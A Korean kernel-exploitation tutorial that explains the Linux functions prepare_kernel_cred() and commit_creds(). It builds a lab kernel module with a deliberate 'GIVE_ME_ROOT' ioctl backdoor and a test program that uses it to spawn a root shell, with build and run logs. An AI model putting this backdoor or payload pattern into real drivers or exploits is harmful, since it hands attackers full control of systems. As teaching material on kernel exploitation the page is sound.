...
Creating a kernel module to privilege escalation
...
- Kernel Exploit시 반드시 알아야 하는 기본적인 함수는 prepare_kernel_cred()
...
- , commit_creds()
...
- 함수입니다.
- 이번 장에서는 해당 함수에 대한 이해와 해당 함수를 활용하여 권한상승을 일으키는 모듈을 만들어보겠습니다.
prepare_kernel_cred()
- prepare_kernel_cred()함수는 커널 서비스에 대한 자격 증명을 준비하며, 다음과 같이 동작합니다.
- kmem_cache_alloc()에 의해 new 변수에 객체를 할당 합니다.
- daemon 인자의 값에 따라 다음과 같이 동작합니다.
- daemon 인자의 값이 0이 아닐 경우 get_task_cred()함수를 호출하여 전달된 프로세스의 자격 증명(credentials)을 old 변수에 저장합니다.
- daemon 인자의 값이 0일 경우 get_cred() 함수를 호출하여 init_cred 의 자격 증명(credentials)을 old 변수에 저장합니다.
validate_creds() 함수에 의해 전달된 자격 증명(old)의 유효성을 검사 합니다.
atomic_set()함수에 의해 "&new→usage" 영역에 1이 설정됩니다.
set_cred_subscribers() 함수를 이용하여 "&cred→subscribers" 영역에 0이 설정됩니다.
get_uid(), get_user_ns(), get_group_info() 새 자격 증명의 uid, user namespace, group info를 조회합니다.
security_prepare_creds()함수를 이용하여 현재 프로세스의 자격 증명을 변경합니다.
- put_cred()함수를 이용하여 현재 프로세스가 이전에 참조한 자격 증명을 해제합니다.
- validate_creds() 함수에 의해 전달된 자격 증명(new)의 유효성을 검사 합니다.
- kmem_cache_alloc()에 의해 new 변수에 객체를 할당 합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
validate_creds(old);
*new = *old;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);
#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
goto error;
put_cred(old);
validate_creds(new);
return new;
error:
put_cred(new);
put_cred(old);
return NULL;
}
EXPORT_SYMBOL(prepare_kernel_cred); |
- init_cred 구조체는 다음과 같이 프로세스의 초기 자격 증명 정보를 가지고 있습니다.
- 여기서 중요한 것은 uid, gid, suid, sgid, 등의 값이 Root 권한으로 설정되어 있다는 것입니다.
- 즉, prepare_kernel_cred() 함수 호출시 인자 값으로 NULL(0)을 전달하면 Root권한의 자격 증명을 준비 할 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
}; |
Code Block | ||||
---|---|---|---|---|
| ||||
#define GLOBAL_ROOT_UID KUIDT_INIT(0)
#define GLOBAL_ROOT_GID KGIDT_INIT(0) |
Code Block | ||||
---|---|---|---|---|
| ||||
typedef struct {
uid_t val;
} kuid_t;
typedef struct {
gid_t val;
} kgid_t;
#define KUIDT_INIT(value) (kuid_t){ value }
#define KGIDT_INIT(value) (kgid_t){ value } |
commit_creds()
- commit_creds() 함수는 현재 프로세스에 새 자격 증명 설치, 다음과 같이 동작합니다.
- current가 가지고 있는 현재 프로세스의 정보를 task에 저장합니다.
- task 구조체를 이용하여 현재 프로세스가 사용중인 자격 증명 정보를 old 변수에 저장합니다.
- BUG_ON() 함수를 이용하여 다음과 같은 사항을 확인합니다.
- "task->cred"과 "old"의 자격증명이 다른지 확인합니다.
- "&new→usage"에 저장된 값이 1 보다 작은지 확인합니다.
- "task->cred"과 "old"의 자격증명이 다른지 확인합니다.
- get_cred() 함수를 이용하여 new 변수에 저장된 자격 증명에 참조됨 정보를 가져옵니다.
- uid_eq(), gid_eq() 함수를 이용하여 다음과 같은 구조체 내에 저장된 변수의 값을 확인 합니다.
- euid,egid는 유효 사용자 식별자(effective user ID,
euid
)이라는 의미로 프로세스가 파일에 대해 가지는 권한을 뜻합니다. - fsuid는 리눅스에는 파일 시스템 접근 제어 용도로 사용되는 파일 시스템 사용자 ID(file system user ID, fsuid)를 뜻합니다.
- old->euid, new→euid
- old->egid, new→egid
- old->fsuid, new→fsuid
- old->fsgid, new→fsgid
- old->euid, new→euid
- euid,egid는 유효 사용자 식별자(effective user ID,
- cred_cap_issubset() 함수를 이용하여 두 자격 증명이 동일한 사용자 네임 스페이스에 있는지 확인 합니다.
- 또다시 uid_eq(), gid_eq() 함수를 이용하여 다음과 같은 구조체 내에 저장된 변수의 값을 확인 합니다.
- new→fsuid, old→fsuid
- new→fsgid, old→fsgid
- 비교 값이 다를 경우 key_fsuid_changed(), key_fsgid_changed() 함수를 이용하여 현재 프로세스의 fsuid, fsgid으로 값을 갱신합니다.
- new→fsuid, old→fsuid
- alter_cred_subscribers() 함수를 이용하여 new 구조체에서 subscribers 변수에 2를 더합니다.
rcu_assign_pointer() 함수를 이용하여 현재 프로세스의 "task->real_cred", "task→cred" 영역에 새로운 자격 증명을 등록합니다.
- alter_cred_subscribers() 함수를 이용하여 old 구조체에서 subscribers 변수에 -2를 더합니다.
put_cred() 함수를 이용하여 이전에 사용된 자격 증명을 모두(old obj and subj)해제 합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;
kdebug("commit_creds(%p{%d,%d})", new,
atomic_read(&new->usage),
read_cred_subscribers(new));
BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
BUG_ON(read_cred_subscribers(old) < 2);
validate_creds(old);
validate_creds(new);
#endif
BUG_ON(atomic_read(&new->usage) < 1);
get_cred(new); /* we will require a ref for the subj creds too */
/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
smp_wmb();
}
/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(task);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(task);
/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
alter_cred_subscribers(new, 2);
if (new->user != old->user)
atomic_inc(&new->user->processes);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user)
atomic_dec(&old->user->processes);
alter_cred_subscribers(old, -2);
/* send notifications */
if (!uid_eq(new->uid, old->uid) ||
!uid_eq(new->euid, old->euid) ||
!uid_eq(new->suid, old->suid) ||
!uid_eq(new->fsuid, old->fsuid))
proc_id_connector(task, PROC_EVENT_UID);
if (!gid_eq(new->gid, old->gid) ||
!gid_eq(new->egid, old->egid) ||
!gid_eq(new->sgid, old->sgid) ||
!gid_eq(new->fsgid, old->fsgid))
proc_id_connector(task, PROC_EVENT_GID);
/* release the old obj and subj refs both */
put_cred(old);
put_cred(old);
return 0;
}
EXPORT_SYMBOL(commit_creds); |
Info | ||
---|---|---|
| ||
Example
- 앞에서 설명한 commit_creds(), prepare_kernel_cred() 함수를 이용하여 ROOT 권한을 획득해보겠습니다.
Linux Kernel Module
- 다음 소스코드는 03.ioctl(Input/Output control)에서 사용한 Example 코드에 다음 기능을 추가하였습니다.
- ioctl의 코맨트 매크로를 이용하여 "GIVE_ME_ROOT" 라는 명령을 추가하였습니다.
- chardev_ioctl() 함수는 "GIVE_ME_ROOT" 라는 커맨드가 전달되면 다음 코드를 실행합니다.
- commit_creds(prepare_kernel_cred(NULL));
- commit_creds(prepare_kernel_cred(NULL));
Code Block | ||||
---|---|---|---|---|
| ||||
#include |
Example
Linux Kernel Module
Code Block | ||||
---|---|---|---|---|
| ||||
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
#include <linux/cred.h>
#include "escalation.h"
MODULE_LICENSE("Dual BSD/GPL");
#define DRIVER_NAME "chardev"
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM = 1;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
static int chardev_open(struct inode *, struct file *);
static int chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static long chardev_ioctl(struct file *, unsigned int, unsigned long);
struct file_operations s_chardev_fops = {
.open = chardev_open,
.release = chardev_release,
.read = chardev_read,
.write = chardev_write,
.unlocked_ioctl = chardev_ioctl,
};
static int chardev_init(void)
{
int alloc_ret = 0;
int cdev_err = 0;
int minor = 0;
dev_t dev;
printk("The chardev_init() function has been called.");
alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
if (alloc_ret != 0) {
printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret);
return -1;
}
//Get the major number value in dev.
chardev_major = MAJOR(dev);
dev = MKDEV(chardev_major, MINOR_BASE);
//initialize a cdev structure
cdev_init(&chardev_cdev, &s_chardev_fops);
chardev_cdev.owner = THIS_MODULE;
//add a char device to the system
cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
if (cdev_err != 0) {
printk(KERN_ERR "cdev_add = %d\n", alloc_ret);
unregister_chrdev_region(dev, MINOR_NUM);
return -1;
}
chardev_class = class_create(THIS_MODULE, "chardev");
if (IS_ERR(chardev_class)) {
printk(KERN_ERR "class_create\n");
cdev_del(&chardev_cdev);
unregister_chrdev_region(dev, MINOR_NUM);
return -1;
}
device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor);
return 0;
}
static void chardev_exit(void)
{
int minor = 0;
dev_t dev = MKDEV(chardev_major, MINOR_BASE);
printk("The chardev_exit() function has been called.");
device_destroy(chardev_class, MKDEV(chardev_major, minor));
class_destroy(chardev_class);
cdev_del(&chardev_cdev);
unregister_chrdev_region(dev, MINOR_NUM);
}
static int chardev_open(struct inode *inode, struct file *file)
{
printk("The chardev_open() function has been called.");
return 0;
}
static int chardev_release(struct inode *inode, struct file *file)
{
printk("The chardev_close() function has been called.");
return 0;
}
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
printk("The chardev_write() function has been called.");
return count;
}
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
printk("The chardev_read() function has been called.");
return count;
}
static struct ioctl_info info;
static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
printk("The chardev_ioctl() function has been called.");
switch (cmd) {
case SET_DATA:
printk("SET_DATA\n");
if (copy_from_user(&info, (void __user *)arg, sizeof(info))) {
return -EFAULT;
}
printk("info.size : %ld, info.buf : %s",info.size, info.buf);
break;
case GET_DATA:
printk("GET_DATA\n");
if (copy_to_user((void __user *)arg, &info, sizeof(info))) {
return -EFAULT;
}
break;
case GIVE_ME_ROOT:
printk("GIVE_ME_ROOT\n");
commit_creds(prepare_kernel_cred(NULL));
return 0;
default:
printk(KERN_WARNING "unsupported command %d\n", cmd);
return -EFAULT;
}
return 0;
}
module_init(chardev_init);
module_exit(chardev_exit); |
- 매크로 정의는 다음과 같습니다.
- GIVE_ME_ROOT는 _IO(입력, 출력)으로 설정하고 인자 값은 없습니다.
- GIVE_ME_ROOT는 _IO(입력, 출력)으로 설정하고 인자 값은 없습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#ifndef CHAR_DEV_H_ #define CHAR_DEV_H_ #include <linux/ioctl.h> struct ioctl_info{ unsigned long size; char buf[128]; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info) #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info) #define GIVE_ME_ROOT _IO(IOCTL_MAGIC, 0) #endif |
Code Block | ||
---|---|---|
| ||
obj-m = escalation.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
Info |
---|
Test program
Test program
- 테스트 프로그램은 다음과 같이 동작합니다.
open() 함수를 이용하여 "/dev/chardev0" 파일을 열어 fd값을 얻습니다.
ioctl() 함수를 이용하여 해당 프로세스에서 ROOT 권한을 얻기위해 fd, "GIVE_ME_ROOT"을 인자 값으로 전달합니다.
close() 함수를 이용하여 fd를 닫습니다.
execl() 함수를 이용하여 "/bin/sh" 명령을 실행합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <fcntl.h> #include "escalation.h" void main() { int fd, ret; fd = open("/dev/chardev0", O_NOCTTY); if (fd < 0) { printf("Can't open device file\n"); exit(1); } ret = ioctl(fd, GIVE_ME_ROOT); if (ret < 0) { printf("ioctl failed: %d\n", ret); exit(1); } close(fd); execl("/bin/sh", "sh", NULL); } |
Make & Run
- 다음과 같이 모듈이 정상적으로 빌드되고 커널에 등록되는 것을 확인 할 수 있습니다.
Code Block |
---|
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ make make -C /lib/modules/4.18.0-11-generic/build M=/home/lazenca0x0/Kernel/Module/escalation modules make[1]: Entering directory '/usr/src/linux-headers-4.18.0-11-generic' Makefile:982: "Cannot use CONFIG_STACK_VALIDATION=y, please install libelf-dev, libelf-devel or elfutils-libelf-devel" CC [M] /home/lazenca0x0/Kernel/Module/escalation/escalation.o Building modules, stage 2. MODPOST 1 modules CC /home/lazenca0x0/Kernel/Module/escalation/escalation.mod.o LD [M] /home/lazenca0x0/Kernel/Module/escalation/escalation.ko make[1]: Leaving directory '/usr/src/linux-headers-4.18.0-11-generic' lazenca0x0@ubuntu:~/Kernel/Module/escalation$ sudo insmod escalation.ko [sudo] password for lazenca0x0: lazenca0x0@ubuntu:~/Kernel/Module/escalation$ |
Get Root
- 테스트 프로그램을 실행하면 쉘이 실행되고, 해당 쉘의 권한이 root인것을 확인할 수 있습니다.
Code Block |
---|
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ gcc -o testExploit testExploit.c lazenca0x0@ubuntu:~/Kernel/Module/escalation$ ls -al ./testExploit -rwxrwxr-x 1 lazenca0x0 lazenca0x0 16744 Nov 29 22:27 ./testExploit lazenca0x0@ubuntu:~/Kernel/Module/escalation$ ./testExploit # id uid=0(root) gid=0(root) groups=0(root) # |
Kernel Message
Code Block |
---|
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ dmesg |tail [ 50.430318] Bluetooth: RFCOMM TTY layer initialized [ 50.430322] Bluetooth: RFCOMM socket layer initialized [ 50.430326] Bluetooth: RFCOMM ver 1.11 [ 51.928891] rfkill: input handler disabled [15332.953156] escalation: loading out-of-tree module taints kernel. [15332.953272] escalation: module verification failed: signature and/or required key missing - tainting kernel [15332.953941] The chardev_init() function has been called. [15437.458201] The chardev_open() function has been called. [15437.458203] The chardev_ioctl() function has been called. [15437.458203] GIVE_ME_ROOT lazenca0x0@ubuntu:~/Kernel/Module/escalation$ |
...
- https://en.wikipedia.org/wiki/Static_program_analysis
- https://www.kernel.org/doc/Documentation/security/credentials.txt
Panel |
---|